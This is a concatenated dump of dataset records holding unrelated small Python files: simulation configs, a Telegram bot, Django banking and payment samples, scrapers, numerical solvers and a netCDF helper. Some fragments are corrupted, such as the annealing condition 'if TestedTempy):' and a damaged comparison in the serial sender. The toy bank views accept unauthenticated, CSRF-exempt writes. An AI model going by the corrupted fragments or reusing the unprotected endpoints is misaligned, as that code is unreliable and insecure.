val[4]]\n else:\n linetoprint.extend(['\\t', val[1], '\\t', start, '\\t', end, '\\t', val[4], '\\n'])\n linetoprint = map(lambda x:str(x),linetoprint)\n fw.write(''.join(linetoprint))\n # print linetoprint\n # if val[4] == '-':\n # break\n # print \"s\"\n elif line.strip() ==\"\":\n block_start = False\n ref_read = False\n # break\n\n\nif __name__ == '__main__':\n main()","sub_path":"get_true_marker_for_reads/maf2bed.py","file_name":"maf2bed.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"542512085","text":"from __future__ import print_function\n\n# import the m5 (gem5) library created when gem5 is built\nimport m5\n# import all of the SimObjects\nfrom m5.objects import *\n\n# import all configs of cache\nfrom caches import *\n\n# import parser for choose branch prediction algorithm\nfrom optparse import OptionParser\n\n# create the system we are going to simulate\nsystem = System()\n\n# Set the clock fequency of the system (and all of its children)\nsystem.clk_domain = SrcClockDomain()\nsystem.clk_domain.clock = '2GHz'\nsystem.clk_domain.voltage_domain = VoltageDomain()\n\n# Set up the system\nsystem.mem_mode = 'timing' # Use timing accesses\nsystem.mem_ranges = [AddrRange('512MB')] # Create an address range\n\n# Create a simple CPU\nsystem.cpu = DerivO3CPU()\n\n# Create a memory bus, a system crossbar, in this case\nsystem.membus = SystemXBar()\n\n# create the caches\nsystem.cpu.icache = L1ICache()\nsystem.cpu.dcache = L1DCache()\n\n# connect the caches with CPU\nsystem.cpu.icache.connectCPU(system.cpu)\nsystem.cpu.dcache.connectCPU(system.cpu)\n\n# connect the cache L1 with L2\nsystem.l2bus = L2XBar()\nsystem.cpu.icache.connectBus(system.l2bus)\nsystem.cpu.dcache.connectBus(system.l2bus)\n\n# connect the L2 cache with memory\nsystem.l2cache = L2Cache()\nsystem.l2cache.connectCPUSideBus(system.l2bus)\nsystem.l2cache.connectMemSideBus(system.membus)\n\n# create the interrupt controller for the CPU and connect to the membus\nsystem.cpu.createInterruptController()\n\n# For x86 only, make sure the interrupts are connected to the memory\n# Note: these are directly connected to the memory bus and are not cached\nif m5.defines.buildEnv['TARGET_ISA'] == \"x86\":\n system.cpu.interrupts[0].pio = system.membus.master\n system.cpu.interrupts[0].int_master = system.membus.slave\n system.cpu.interrupts[0].int_slave = system.membus.master\n\n# Create a DDR3 memory controller and connect it to the membus\nsystem.mem_ctrl = DDR3_1600_8x8()\nsystem.mem_ctrl.range = system.mem_ranges[0]\nsystem.mem_ctrl.port = system.membus.master\n\n# Connect the system up to the membus\nsystem.system_port = system.membus.slave\n\n# get ISA for the binary to run.\nisa = str(m5.defines.buildEnv['TARGET_ISA']).lower()\n\nparser = OptionParser()\nparser.add_option('--bp', help=\"Algoritmo De Previsão de Desvio\")\nparser.add_option('--ex', help=\"Algoritmo Para a Execução\")\n(options, args) = parser.parse_args()\n\nbranch_prediction_type = options.bp\n\nif branch_prediction_type == 'bimodal':\n system.cpu.branchPred = BiModeBP()\nelif branch_prediction_type == 'tournament':\n system.cpu.branchPred = TournamentBP()\nelif branch_prediction_type == 'ltage':\n system.cpu.branchPred = LTAGE()\nelif branch_prediction_type == '2bits':\n system.cpu.branchPred = LocalBP()\nelse:\n print (\"Algoritmo de previsão de desvio digitado não existe.\")\n\n# Create a process for a simple \"Hello World\" application\nprocess = Process()\n\nbinary = options.ex\n\n# Set the command\n# cmd is a list which begins with the executable (like argv)\nprocess.cmd = [binary]\n# Set the cpu to use the process as its workload and create thread contexts\nsystem.cpu.workload = process\nsystem.cpu.createThreads()\n\n# set up the root SimObject and start the simulation\nroot = Root(full_system = False, system = system)\n# instantiate all of the objects we've created above\nm5.instantiate()\n\nprint(\"Beginning simulation!\")\nexit_event = m5.simulate()\nprint('Exiting @ tick %i because %s' % (m5.curTick(), exit_event.getCause()))\n","sub_path":"trabalho_1/configs/machine.py","file_name":"machine.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"497043933","text":"from telegram.ext import Updater, CommandHandler\n\nimport setting\n\ndef start(update, context):\n context.bot.send_message(chat_id=update.message.chat_id, text=\"I'm a bot, please talk to me!\")\n\n\ndef main():\n upd = Updater(setting.TELEGRAM_API_KEY)\n start_handler = CommandHandler('start', start)\n upd.dispatcher.add_handler(start_handler)\n upd.start_polling()\n upd.idle()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"172567355","text":"import json\nfrom .models import Banknote\nfrom .utils import withdraw_money\nfrom django.shortcuts import render\nfrom django.http import HttpResponse, Http404\nfrom django.views.decorators.csrf import csrf_exempt\n\n\ndef bank_status(request):\n all_banknotes = Banknote.objects.all()\n context_data = {}\n if all_banknotes.exists():\n for note in all_banknotes.iterator():\n context_data[note.denominator] = note.quantity\n\n return HttpResponse(json.dumps(context_data), content_type='application/json')\n\n\n@csrf_exempt\ndef bank_set(request):\n data = json.loads(request.body)\n Banknote.objects.all().delete()\n for note, value in data.items():\n try:\n note = int(note)\n value = int(value)\n positive = note > 0 and value > 0\n if not positive:\n raise Http404(\"Banknotes entered should be larger than 0\")\n\n Banknote.objects.create(denominator=note, quantity=value)\n except ValueError:\n Banknote.objects.all().delete()\n raise Http404(\"Invalid banknotes entered\")\n return HttpResponse(status=201)\n\n\n@csrf_exempt\ndef withdraw(request):\n data = json.loads(request.body)\n all_banknotes = Banknote.objects.all()\n notes = {}\n if all_banknotes.exists():\n for note in all_banknotes.iterator():\n notes[note.denominator] = note.quantity\n\n result = withdraw_money(notes, data['amount'])\n if result:\n return HttpResponse(json.dumps(result), content_type='application/json')\n else:\n raise Http404(\"Could not get exact amount\")\n","sub_path":"test_task/bank/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"429093569","text":"import numpy as np\nimport pickle \nimport random\nimport math\ndef CalcTemp(SlabClass):\n\tTot_Waste=0\n\tAssocIndex=0\n\tfor i in range(0,len(X)):\n\t\twhile(X[i]>SlabClass[AssocIndex]):\n\t\t\tAssocIndex+=1\n\t\tTot_Waste+=(SlabClass[AssocIndex]-X[i])*Y[i]\n\treturn Tot_Waste\ndef MakeStep(TestedIndex,IncrementBool):\n\tif(IncrementBool==1):\n\t\tSlabClasses[TestedIndex]+=8\n\telse:\n\t\tSlabClasses[TestedIndex]-=8\ndef RandomStep(): #This returns an array of length 3 which contains the following values: [SlabClassIndex,IncrementBool,WastedMem]\n\tSlabClassTemp=SlabClasses\n\tChoicesMade=[]\n\tChosenSlab=random.randint(0,(len(SlabClasses)-1))\n\tChoicesMade.append(ChosenSlab)\n\tStepChoice=random.random()\n\tif(StepChoice>=0.5):\n\t\tprint(\"The slab \",SlabClassTemp[ChosenSlab],\" is now \") \n\t\tSlabClassTemp[ChosenSlab]+=8\n\t\tprint(SlabClassTemp[ChosenSlab])\n\t\tChoicesMade.append(1)\n\telse:\n\t\tprint(\"The slab \",SlabClassTemp[ChosenSlab],\" is now \") \n\t\tSlabClassTemp[ChosenSlab]-=8\n\t\tprint(SlabClassTemp[ChosenSlab])\n\t\tChoicesMade.append(0)\n\tChoicesMade.append(CalcTemp(SlabClassTemp))\n\treturn ChoicesMade\ndef SimulatedAnnealing():\n\tstep=0\n\tCurrentTemp=CalcTemp(SlabClasses)\n\t[TestedIndex,IncrementBool,TestedTemp]=RandomStep()\n\tDeltaTemp=CurrentTemp-TestedTemp\n\tprint(\"Delta temp is: \",DeltaTemp,\"Current Temp is: \",CurrentTemp)\n\tx=pow(math.e,float(500*(float(DeltaTemp)/float(InitialTemp))))\n\ty=random.random()\n\tif TestedTempy):\n\t\tprint(\"X and Y are: \",x,y)\n\t\tMakeStep(TestedIndex,IncrementBool)\n\t\tstep=2\n\tprint(\"Took step \",step)\nf1=open('XArray.obj','rb')\nf2=open('YArray.obj','rb')\nSlabClasses=[]\nSlabClasses=np.array(SlabClasses)\nX=pickle.load(f1)\nY=pickle.load(f2)\nRangeOfX=max(X)-min(X)\nmaxslabs=input('Please enter the maximum number of slabs')\nmaxslabs=int(maxslabs)\nstepsize=RangeOfX/maxslabs\nif stepsize%8!=0:\n\tstepsize=stepsize+(8-(stepsize%8))\ni=min(X)\nwhile i send_time + SEND_TIMEOUT:\n send_time = now\n sf.setPacketValue( int(sin(x*3.1415/180.0)*100) )\n sf.setPacketValue( int(cos(x*3.1415/180.0)*100) )\n sf.sendPacket()\n x += 1\n if x == 360:\n x = 0\n\nexcept KeyboardInterrupt:\n pass\n\nsf.close()\n","sub_path":"SFMonitor/tests/sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"37741752","text":"#!/usr/bin/env python\nimport json\nimport yaml\nimport client as client\nimport time\n\nDELAY=1\nDRY_RUN=False\n\ndef get_skip_list():\n with open('./secrets/skiplist.yml') as data:\n yml = yaml.safe_load(data)\n return yml\n\ndef main_loop(is_beta):\n yml = yaml.safe_load(data)\n skip_list = get_skip_list()\n for name, group in yml.items():\n if name in skip_list:\n print ('Skipping group: [{}]'.format(name))\n continue\n\n if is_beta:\n name = '_beta {}'.format(name)\n\n print('Creating group: [{}]'.format(name))\n if not DRY_RUN:\n pendo_group = client.create_group_idempotent(name, client.get_color(name, group))\n\n if 'pages' in group:\n for page_name, page in group['pages'].items():\n for i, url in enumerate(page['url_rules']):\n page['url_rules'][i] = '//*{}'.format(page['url_rules'][i])\n if is_beta:\n page['url_rules'][i] = page['url_rules'][i].replace('//*/', '//*/beta/')\n\n print('- Creating page: [{}] {}'.format(page_name, page))\n if not DRY_RUN:\n client.create_page_in_group(pendo_group, page_name, page)\n time.sleep(DELAY)\n\n if 'features' in group and not is_beta:\n scope = False\n if '_scope' in group['features']:\n scope = group['features']['_scope']\n del group['features']['_scope']\n\n for feature_name, feature in group['features'].items():\n if scope:\n for i, selector in enumerate(feature['selectors']):\n txt = feature['selectors'][i]\n txt = txt.replace('{}', scope, 1)\n feature['selectors'][i] = txt\n\n print('- Creating feature: [{}] {}'.format(feature_name, feature))\n if not DRY_RUN:\n client.create_feature_in_group(pendo_group, feature_name, feature)\n time.sleep(DELAY)\n\nwith open('./data/config.yml', 'r') as data:\n main_loop(False)\nwith open('./data/config.yml', 'r') as data:\n main_loop(True)\n\nif not DRY_RUN:\n with open('./stash/id_map.yaml', 'w') as outfile:\n yaml.dump(client.get_ids_map(), outfile)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"620024469","text":"#!/usr/bin/env python2.7.12\n#-*- coding: utf-8 -*-\nimport statistics\nimport sys\n## código responsável por fazer média, desvio padrão de nossos valores\ndef leitura(arquivo):\n\n\tarq = open(arquivo, 'r')\n\tinfo = arq.read()\n\tarq.close()\n\tinfo = info.split('\\n')\n\n\tnSeeds, iCobertura, fit = [], [], []\n\tfor i in range(0, len(info)):\n\t\tinfo[i] = info[i].split('\\t')\n\t\tif (info[i][0]=='' or info[i][0]==' '):\n\t\t\tbreak\n\n\t\tnSeeds.append(float(info[i][0]))\n\t\tiCobertura.append(float(info[i][1]))\n\t\tfit.append(float(info[i][2]))\n\t\n\n\n\treturn nSeeds, iCobertura, fit\n\ndef estatisticas(info, flag, msg):\n\n\testatisticas = []\n\testatisticas.extend([statistics.mean(info), max(info), min(info), statistics.stdev(info)])\n\n\t'''print(\"Melhor \", min(info))\n\tprint(\"Pior \", max(info))\n\tprint(\"Média \", statistics.mean(info))\n\tprint(\"Desvio padrão \", statistics.stdev(info))'''\n\tstring = ''\n\tfor i in range(0, len(estatisticas)):\n\t\tstring = string+ '&' +\"$\"+str(round(estatisticas[i], 2))+\"$\"\n\n\tif flag == 0:\n\t\tstring = string + \"\\\\\\\\ \\\\hline\"\n\telse:\n\t\tstring = string + \"\\\\\\\\ \\\\cline{2-5}\"\n\n\tstring = msg + string + '\\n'\n\n\tprint(string)\n\n\treturn string\n\nquebraTexto = (sys.argv[1]).split('.')\nnSeeds, iCobertura, fit = leitura(\"saida_\"+quebraTexto[0]+'.txt')\n#nSeeds, iCobertura, fit = leitura(\"saida_karate.txt\")\n\ntry:\n\tarq = open(\"tabelaLatex_\"+quebraTexto[0]+'.txt', 'a')\nexcept:\n\tarq = open(\"tabelaLatex_\"+quebraTexto[0]+'.txt', 'w')\narq.write(estatisticas(nSeeds, 1, \"&Seeds\")+estatisticas(iCobertura, 1, \"&Cobertura\") + estatisticas(fit, 0, \"&Fitness\"))\n\n\n","sub_path":"estatisticas.py","file_name":"estatisticas.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"273194585","text":"import urllib.request as request\nfrom bs4 import BeautifulSoup\nimport numpy as np\nimport csv\nimport datetime\nimport time\nimport calendar\nimport re\n\nsta='C0O900'\nstart='2019-06-17'\nend='2019-06-22'\n \ndatestart=datetime.datetime.strptime(start,'%Y-%m-%d')\ndateend=datetime.datetime.strptime(end,'%Y-%m-%d')\n \n\nwhile datestart<=dateend:\n \n print(datestart.strftime('%Y-%m-%d'))\n\n\n \n\n # headers = {\"User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\"}\n src='http://e-service.cwb.gov.tw/HistoryDataQuery/DayDataController.do?command=viewMain&station='+sta+'&stname=%25E9%259E%258D%25E9%2583%25A8&datepicker='+datestart.strftime('%Y-%m-%d')\n with request.urlopen(src) as response:\n data=response.read().decode(\"utf-8\")\n# s.encode(\"utf8\").decode(\"cp950\", \"ignore\")\n soup = BeautifulSoup(data, 'html.parser')\n data=soup.find_all('tr')\n # data2=data.find_all('tr')\n # data=soup.find_all('tr')\n print(\"=================================================================================================\")\n for i in range(4,28):\n print(data[i].get_text())\n data[i-4]=(data[i].get_text()).split()\n # data[i-4]=data[i].get_text().strip(\"\\n\").split()\n # data[i-4]=np.array(data[i].get_text())#.reshape(17,1)\n print(data[i-4])\n # print(data[i].get_text())\n file=sta+'-' + datestart.strftime('%Y-%m-%d')+ '.csv'\n print(file)\n # print(data[0,1])\n with open(file, 'w', newline='') as csvFile:\n writer = csv.writer(csvFile)\n # 1.直接寫出-標題\n writer.writerow(['hr','StnPres','SeaPres','Temperature','Td dew point','RH','WS','WD','WSGust','WDGust','Precp','PrecpHour','SunShine','GloblRad','Visb','UVI','Cloud Amount'])\n for i in range(0,24):\n writer.writerow(data[i])\n datestart+=datetime.timedelta(days=1)\n\n\n","sub_path":"爬蟲/CWB/全台/溫度/CWB.py","file_name":"CWB.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"595508016","text":"# coding=utf-8\nimport random\nfrom django.shortcuts import render_to_response\nfrom django.template.context import RequestContext\nfrom django.views.decorators.cache import cache_control\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom dotpay.payment.models import DotpayRequest\nfrom dotpay.payment.forms import DotpayRequestForm\nfrom dotpay.sample.order.models import Order\n\n\n@cache_control(no_store=True, no_cache=True, must_revalidate=True, post_check=0, pre_check=0, max_age=0)\ndef form(request):\n\n test_id = random.randint(1, 99999)\n\n dotpay_request = DotpayRequest.objects.create(\n kwota=24.99,\n opis='Testowe zamówienie %s' % test_id,\n email='msmenzyk-%s@sizeof.pl' % test_id,\n firstname = 'Mariusz',\n lastname = 'Smenżyk',\n street = 'ul. Jakas',\n street_n1 = '28',\n street_n2 = '4A',\n city = 'Kraków',\n postcode = '33-300',\n phone = '775-447-778'\n )\n\n Order.objects.create(request=dotpay_request, user_id=1)\n form = DotpayRequestForm(instance=dotpay_request)\n\n return render_to_response('form.html', { 'form': form, 'dotpay_request': dotpay_request },\n context_instance=RequestContext(request))\n\n\n@csrf_exempt\ndef status(request):\n return render_to_response('status.html', {'status': request.GET.get('status')}, context_instance=RequestContext(request))","sub_path":"dotpay/sample/order/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"543789153","text":"from django.urls import path, include\nfrom rest_framework import routers\nfrom .views import *\n\nrouter = routers.DefaultRouter()\nrouter.register(r'user', UserViewSet)\nrouter.register(r'group', GroupViewSet)\n\nurlpatterns = [\n path('restapi/', include(router.urls)),\n path('api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n]","sub_path":"restapi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"165091321","text":"from __future__ import absolute_import\n\nimport logging\nimport os\nfrom dataqs.processor_base import GeoDataProcessor\nfrom dataqs.helpers import get_band_count, gdal_translate, cdo_invert, \\\n nc_convert, style_exists\n\nlogger = logging.getLogger(\"dataqs.processors\")\nscript_dir = os.path.dirname(os.path.realpath(__file__))\n\n\nclass SPEIProcessor(GeoDataProcessor):\n \"\"\"\n Class for processing data from the SPEI Global Drought Monitor\n (http://sac.csic.es/spei/map/maps.html)\n \"\"\"\n prefix = \"spei\"\n spei_files = {\n 'spei01': 'SPEI Global Drought Monitor (past month)',\n 'spei03': 'SPEI Global Drought Monitor (past 3 months)'}\n base_url = \"http://notos.eead.csic.es/spei/nc/\"\n\n def convert(self, nc_file):\n tif_file = \"{}.tif\".format(nc_file)\n nc_transform = nc_convert(os.path.join(self.tmp_dir, nc_file))\n cdo_transform = cdo_invert(os.path.join(self.tmp_dir, nc_transform))\n band = get_band_count(cdo_transform)\n gdal_translate(cdo_transform, os.path.join(self.tmp_dir, tif_file),\n bands=[band], projection='EPSG:4326')\n return tif_file\n\n def run(self):\n \"\"\"\n Retrieve and process all SPEI image files listed in the SPEIProcess\n object's spei_files property.\n \"\"\"\n for layer_name in self.spei_files.keys():\n self.download(\"{}{}.nc\".format(self.base_url, layer_name))\n tif_file = self.convert(layer_name)\n self.post_geoserver(tif_file, layer_name)\n if not style_exists(layer_name):\n with open(os.path.join(script_dir,\n 'resources/spei.sld')) as sld:\n self.set_default_style(layer_name, layer_name, sld.read())\n self.update_geonode(layer_name, title=self.spei_files[layer_name],\n store=layer_name)\n self.truncate_gs_cache(layer_name)\n self.cleanup()\n\n\nif __name__ == '__main__':\n processor = SPEIProcessor()\n processor.run()\n","sub_path":"dataqs/spei/spei.py","file_name":"spei.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"411144442","text":"\"\"\"\nbad_online_learning\n~~~~~~~~~~~~~~~~~~~\n\nA contour plot showing an instance where online learning may fail.\"\"\"\n\n#### Libraries\n# Third party libraries\nimport matplotlib.pyplot as plt\nimport numpy\n\nX = numpy.arange(-1, 1, 0.05)\nY = numpy.arange(-1, 1, 0.05)\nX, Y = numpy.meshgrid(X, Y)\nZ = X**2 + Y**2 - numpy.exp(-4*X**2+0.3*Y+X)\n\nplt.figure()\nCS = plt.contour(X, Y, Z)\nplt.show()\n","sub_path":"fig/chap3/bad_online_learning.py","file_name":"bad_online_learning.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"490770714","text":"import sys\nimport time\nimport warnings\nfrom copy import copy\n\nfrom adaptive.learner.base_learner import BaseLearner\n\nfrom adaptive_scheduler.utils import _print_same_line\n\ninf = sys.float_info.max\n\n\ndef ensure_hashable(x):\n try:\n hash(x)\n return x\n except TypeError:\n msg = \"The items in `sequence` need to be hashable, {}. Make sure you reflect this in your function.\"\n if isinstance(x, dict):\n warnings.warn(msg.format(\"we converted `dict` to `tuple(dict.items())`\"))\n return tuple(x.items())\n else:\n warnings.warn(msg.format(\"we tried to cast the items to a tuple\"))\n return tuple(x)\n\n\nclass SequenceLearner(BaseLearner):\n def __init__(self, function, sequence):\n warnings.warn(\"Use `adaptive.SequenceLearner` from adaptive>=0.9!\")\n print(\n \"I am going to sleep for 10 seconds to annoy you into updating your code!\"\n )\n for i in range(10, -1, -1):\n _print_same_line(f\"Sleeping for {i} seconds more.\", new_line_end=(i == 0))\n time.sleep(1)\n self.function = function\n self._to_do_seq = {ensure_hashable(x) for x in sequence}\n self._npoints = len(sequence)\n self.sequence = copy(sequence)\n self.data = {}\n self.pending_points = set()\n\n def ask(self, n, tell_pending=True):\n points = []\n loss_improvements = []\n for point in self._to_do_seq:\n if len(points) >= n:\n break\n points.append(point)\n loss_improvements.append(inf / self._npoints)\n\n if tell_pending:\n for p in points:\n self.tell_pending(p)\n\n return points, loss_improvements\n\n def _get_data(self):\n return self.data\n\n def _set_data(self, data):\n if data:\n self.tell_many(*zip(*data.items()))\n\n def loss(self, real=True):\n if not (self._to_do_seq or self.pending_points):\n return 0\n else:\n npoints = self.npoints + (0 if real else len(self.pending_points))\n return inf / npoints\n\n def remove_unfinished(self):\n for p in self.pending_points:\n self._to_do_seq.add(p)\n self.pending_points = set()\n\n def tell(self, point, value):\n self.data[point] = value\n self.pending_points.discard(point)\n self._to_do_seq.discard(point)\n\n def tell_pending(self, point):\n self.pending_points.add(point)\n self._to_do_seq.discard(point)\n\n def done(self):\n return not self._to_do_seq and not self.pending_points\n\n def result(self):\n \"\"\"Get back the data in the same order as ``sequence``.\"\"\"\n if not self.done():\n raise Exception(\"Learner is not yet complete.\")\n return [self.data[ensure_hashable(x)] for x in self.sequence]\n\n @property\n def npoints(self):\n return len(self.data)\n","sub_path":"adaptive_scheduler/sequence_learner.py","file_name":"sequence_learner.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"336526881","text":"import os\nfrom pathlib import Path\nfrom threading import Thread\n\nimport yaml\n\nfrom bauh.api.constants import CONFIG_PATH\nfrom bauh.commons import util\n\n\ndef read_config(file_path: str, template: dict, update_file: bool = False, update_async: bool = False) -> dict:\n if not os.path.exists(file_path):\n Path(CONFIG_PATH).mkdir(parents=True, exist_ok=True)\n save_config(template, file_path)\n else:\n with open(file_path) as f:\n local_config = yaml.safe_load(f.read())\n\n if local_config:\n util.deep_update(template, local_config)\n\n if update_file:\n if update_async:\n Thread(target=save_config, args=(template, file_path), daemon=True).start()\n else:\n save_config(template, file_path)\n\n return template\n\n\ndef save_config(config: dict, file_path: str):\n with open(file_path, 'w+') as f:\n f.write(yaml.dump(config))\n","sub_path":"bauh/commons/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"126619612","text":"\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass ForwardEuler:\n def __init__(self, _h = 0.2, _x = np.array([1.0, 2.0]), _yinit = np.array([4.0])):\n self.h = _h\n self.x = _x\n self.yinit = np.array([4.0])\n\n def __del__(self):\n pass\n\n def feval(self, funcName, *args):\n return eval(funcName)(*args)\n\n\n def main_FE(self, func, yinit, x_range, h):\n m = len(yinit) # Number of ODEs\n n = int((x_range[-1] - x_range[0])/h) # Number of sub-intervals\n \n x = x_range[0] # Initializes variable x\n y = yinit # Initializes variable y\n \n xsol = np.empty(0) # Creates an empty array for x\n xsol = np.append(xsol, x) # Fills in the first element of xsol\n\n ysol = np.empty(0) # Creates an empty array for y\n ysol = np.append(ysol, y) # Fills in the initial conditions\n\n for i in range(n):\n yprime = self.feval(func, x, y) # Evaluates dy/dx\n \n for j in range(m):\n y[j] = y[j] + h*yprime[j]\n \n x += h # Increase x-step\n xsol = np.append(xsol, x) # Saves it in the xsol array\n \n for r in range(len(y)):\n ysol = np.append(ysol, y[r]) # Saves all new y's \n \n return [xsol, ysol]\n\n\n\n def myFunc(self, x, y):\n dy = np.zeros((len(y)))\n dy[0] = 3*(1+x) - y[0]\n return dy\n\n\n def execute(self):\n [ts, ys] = self.main_FE('self.myFunc', self.yinit, self.x, self.h)\n\n\n # Calculates the exact solution, for comparison\n dt = int((self.x[-1] - self.x[0]) / self.h)\n t = [self.x[0]+i*self.h for i in range(dt+1)]\n yexact = []\n for i in range(dt+1):\n ye = 3*t[i] + np.exp(1-t[i])\n yexact.append(ye)\n\n return ts, ys, t, yexact\n\n\n# plt.plot(ts, ys, 'r')\n# plt.plot(t, yexact, 'b')\n# plt.xlim(self.x[0], self.x[1])\n# plt.legend([\"Forward Euler method\", \n# \"Exact solution\"], loc=2)\n# plt.xlabel('x', fontsize=17)\n# plt.ylabel('y', fontsize=17)\n# plt.tight_layout()\n# plt.show()\n\n# x = ForwardEuler()\n# x.execute()","sub_path":"forward_euler.py","file_name":"forward_euler.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"612959109","text":"\"\"\"\nThis module subclasses a netCDF4 Dataset and provides support\nfor database integration and file system management\n\nDatasets contain one or more variables of the form\n\nQ(x, z, t)\n\nwhere x, z, and t are uniformly gridded axes\n\nFor each variable, we need\n\nvariable name\ndata type\nlong name\n\nvariables are chunked to optimize I/O temporally and spatially\n\ndatasets are open for writing - create\ndatasets are opened for reading\n # dataset must already exist\n\nnc_id's are stored in a database table\n\n\"\"\"\nimport numpy as np\nimport netCDF4\nfrom .chunk_shape_3D import chunk_shape_3D\nfrom . import labdb\n\nclass Dataset(netCDF4.Dataset):\n\n def __init__(self, nc_id=None, mode='r'):\n\n # nc_id is a identifier for this dataset\n\n # if nc_id is None, it means we are creating a new dataset\n\n # if nc_id is not None, then we want to open a dataset with specific id\n # what if that id does not exist?\n\n # mode only matters if nc_id is not None, otherwise the\n # netcdf file is opened for writing\n\n # access database\n db = labdb.LabDB()\n\n if nc_id is None:\n # creating a new netcdf file\n\n sql = \"INSERT INTO datasets\"\n db.execute(sql)\n\n sql = \"SELECT LAST_INSERT_ID()\"\n row = db.execute_one(sql)\n nc_id = row[0]\n\n db.commit()\n\n filename = \"%d.nc\" % nc_id\n\n super(Dataset, self).__init__(filename, 'w', format='NETCDF4')\n\n # set global attributes\n self.nc_id = nc_id\n\n else:\n #check if this dataset already exists\n sql = \"SELECT nc_id FROM datasets WHERE nc_id = %d\" % (nc_id)\n rows = db.execute(sql)\n\n if len(rows) == 0:\n # no such nc_id\n # raise exception?\n return None\n\n filename = \"%d.nc\" % nc_id\n\n super(Dataset, self).__init__(filename, mode, format='NETCDF4')\n\n def defineGrid(self, x, z, t):\n # x, z, t are 1D sequences that define the size of the array\n\n nx = len(x)\n nz = len(z)\n nt = len(t)\n\n self.createDimension('x', nx)\n self.createDimension('z', nz)\n self.createDimension('t', nt)\n\n X = self.createVariable('x', np.float32, ('x'))\n Z = self.createVariable('z', np.float32, ('z'))\n T = self.createVariable('t', np.float32, ('t'))\n\n X[:] = np.array(x)\n Z[:] = np.array(z)\n T[:] = np.array(t)\n\n def addVariable(self, varName, dtype):\n # create a variable of a given name and\n # a numpy datatype\n\n nx = len(self.dimensions['x'])\n nz = len(self.dimensions['z'])\n nt = len(self.dimensions['t'])\n\n # ensure data type isa dtype\n dtype = np.dtype(dtype)\n valSize = dtype.itemsize\n chunksizes = chunk_shape_3D( (nx, nz, nt),\n valSize=valSize)\n if dtype.isbuiltin==0:\n # datatype has fields\n if dtype.name in self.cmptypes:\n dtype_t = self.cmptypes[dtype.name]\n else:\n dtype_t = self.createCompoundType(dtype, dtype.name)\n else:\n dtype_t = dtype\n\n return self.createVariable(varName, dtype_t, ('x', 'z', 't'),\n chunksizes=chunksizes)\n\n","sub_path":"labtools/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"88931838","text":"\n\nfrom xai.brain.wordbase.nouns._conspiracy import _CONSPIRACY\n\n#calss header\nclass _CONSPIRACIES(_CONSPIRACY, ):\n\tdef __init__(self,): \n\t\t_CONSPIRACY.__init__(self)\n\t\tself.name = \"CONSPIRACIES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"conspiracy\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_conspiracies.py","file_name":"_conspiracies.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"23417648","text":"# start_chrome -> input_date -> scroll_down_end -> find_cards_info -> save -> find_next\n\nfrom time import sleep\n\nfrom selenium import webdriver\nimport csv\nimport os\n\nfrom selenium.webdriver.common.keys import Keys\n\n\ndef open_chrome():\n driver = webdriver.Chrome(executable_path='./chromedriver')\n driver.start_client()\n return driver\n\n\ndef query(star_time, end_time):\n return f'?is_ori=1&key_word=&start_time={star_time}&end_time={end_time}&is_search=1&is_searchadv=1#_0'\n\n\ndef scroll_down():\n html_page = driver.find_element_by_tag_name('html')\n # form > input\n for i in range(15):\n html_page.send_keys(Keys.END)\n sleep(0.6)\n\n\ndef find_cards_info():\n cards_sel = 'div.WB_feed_detail.clearfix'\n cards = driver.find_elements_by_css_selector(cards_sel)\n info_list = []\n\n for card in cards:\n content_sel = 'div.WB_text.W_f14'\n time_sel = 'div.WB_from.S_txt2 > a:nth-child(1)'\n link_sel = 'div.WB_from.S_txt2 > a:nth-child(2)'\n\n 